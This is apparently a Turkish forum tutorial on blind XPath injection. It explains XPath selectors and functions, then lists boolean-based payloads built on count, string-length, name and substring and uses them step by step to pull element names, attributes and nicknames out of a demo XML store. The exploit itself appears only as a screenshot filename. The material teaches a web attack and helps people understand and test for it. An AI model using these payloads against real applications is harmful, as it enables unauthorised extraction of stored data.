Blind XPath Injection

-> XPath nedir ?
-> Blind XPath Injection
-> Demo Uygulama


1) XPath Nedir ?

XPath, XML dökümanlar içerisinde ki değişkenleri, değerleri sorgulayabilmek için kullanılan bir sorgulama dilidir denebilir.

XPath içerisinde bilmemiz gereken bazı “terimler” bulunmaktadır, bunlara hızlı bi göz atalım ;

  • element = “XML Elemanı”
  • attribute = “Elemanın Özelliği”
  • text = “Elemanın Değeri”

2019-06-30%2003-00-54%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Yukarıda ki XML dökümanına göz atarsanız “element” , “attribute” ve “value” gibi tanımlamaları daha kolay anlayabilirsiniz.


Veri Seçimi Nasıl Yapılır ? ;

 /                  | Root element üzerinden seçim yapar                                          |
 /vvHack            | vvHack root element üzerinden seçim yapar                                   |
 //admin            | "Root veya değil" ayrımı yapmadan tüm "admin" element üzerinden seçim yapar |
 //admin/*          | "admin" elemanı üzerindeki tüm attributeları seçer                          |
 //admin/…/…/vvHack | "…" ile üst elemana geçiş yapıp seçim yapar                                 |
 //admin[@id=1]     | admin elemanının "id" attribute seçimini yapar                              |

Bilinmesi gereken bazı fonksiyonlar ;

 string             | Element içeriğini stringe çevirir.             |
 string-length      | Stringin karakter sayısını verir.              |
 count              | Eleman sayısını verir.                         |
 substring          | Belirli aralıkta karakteri verir.              |
 name               | Eleman ismini verir.                           |



2) Blind XPath Injection

Yukarıda ki teorik bilgiler sıkıcı gelsede “Injection” aşamasında yukarıdaki bilgilerimizi kullanarak sonuçlara ulaşacağız.

' or count(/*)='1 payloadı ile root eleman sayısını bulacağız.
' or string-length(name(/*[1]))='6 payloadı ile root elemanın kaç karakterli olduğunu bulacağız.
' or substring(name(/*[1]),1,6)='vvHack payloadı ile root elemanımızın değerini öğreneceğiz.
' or substring(name(/*[1]/*[1]),1,5)='admin payloadı ile vvHack root elemanımızın 1. elamanın “admin” olduğunu öğreneceğiz.
' or substring(name(/*[1]/*[1]/@*[1]),1,2)='id payloadı ile admin elemanının attribute adının “id” olduğunu öğreneceğiz.
' or substring(/*[1]/*[1]/@*[1],1,1)='1 payloadı ile “id” attribute değerini elde edeceğiz.
' or substring(/*[1]/*[1]/*[1]/text(),1,7)='jonturk payloadı ile nickname değerimizi elde ediyoruz.
' or substring(/*[1]/*[2]/*[1]/text(),1,10)='rootdevilz payloadı ile 2. kişiyi çekiyoruz.
' or substring(/*[1]/*[1]/*[2]/text(),1,1)='J payloadı ile jonturk’un kisa attribute değerini elde ediyoruz.

NOT : Payloadları inceleyerek, count - name - string-length - substring gibi fonksiyonlarımızın nasıl kullanıldığı anlamaya çalışınız. Konu fazla uzun olmaması adına bazılarının karakter sayısı veya değerlerin nasıl çekildiğini detaylıca tek tek eklemedim.

Şimdi hedefimiz üzerinden devam edelim. Tırnak işareti ile içeriğimizin değiştiğini görebiliyoruz. Bu değişiklikten anlaşılacak konu “TRUE” sorgularda id değerimiz geliyor, “FALSE” sorgularda id değerimiz kayboluyor.

2019-06-30%2004-30-48%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

2019-06-30%2004-31-00%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Şimdi ’ or count(/*)='1 payloadı ile kaç adet root eleman olduğunu buluyoruz. Bizim 1 adet (vvHack) root elemanımız olduğundan dolayı sonuç true dönüyor. Normal şartlarda bu 1 sayısını arttırıp azaltarak kaç adet root eleman olduğunu bulmanız gerekiyor.

2019-06-30%2004-33-46%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

1 adet root elemanımız olduğunu doğruladık. Bu root elemanımızın kaç harfli olduğunu öğrenmek için ’ or string-length(name(/*[1]))='6 payloadı ile 6 harfli olduğunu doğruluyoruz.

2019-06-30%2004-34-19%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Evet 6 karakterli bir root eleman olduğunu da doğruladık ve şimdi bu root elemanın ismini öğrenelim.

Bu amaçla
’ or substring(name(/*[1]),1,1)='v
’ or substring(name(/*[1]),2,1)='v
’ or substring(name(/*[1]),3,1)='H
şeklinde payload kullanıyoruz.

2019-06-30%2004-49-45%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Daha sonra diğer karakterleri çekiyoruz ve tüm sonuca ulaşıyoruz.

2019-06-30%2004-50-13%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

vvHack adında root eleman olduğunu öğrendik. Buradan 1.elemanı çekiyoruz.

2019-06-30%2005-02-38%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

1.elemanın adı “admin” ve şimdi bu admin elemanı üzerinden 1. attribute değerinin “id” olduğunu buluyoruz.

2019-06-30%2005-06-24%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

id” attribute değerinin 1 olduğunu çekiyoruz ;

2019-06-30%2005-07-35%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Şimdi 1. “nickname” attribute değerinin “jonturk” olduğunu görelim ;

2019-06-30%2005-19-40%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

İkinci admin elemanın “nickname” değerinin “rootdevilz” olduğunu görelim ;

2019-06-30%2005-19-42%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC



3) Demo Uygulama

Kullanılan Exploit ;

2019-07-04%2019-52-54%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Faydalanabileceğiniz güzel bir ek kaynak ; @baba

6 Likes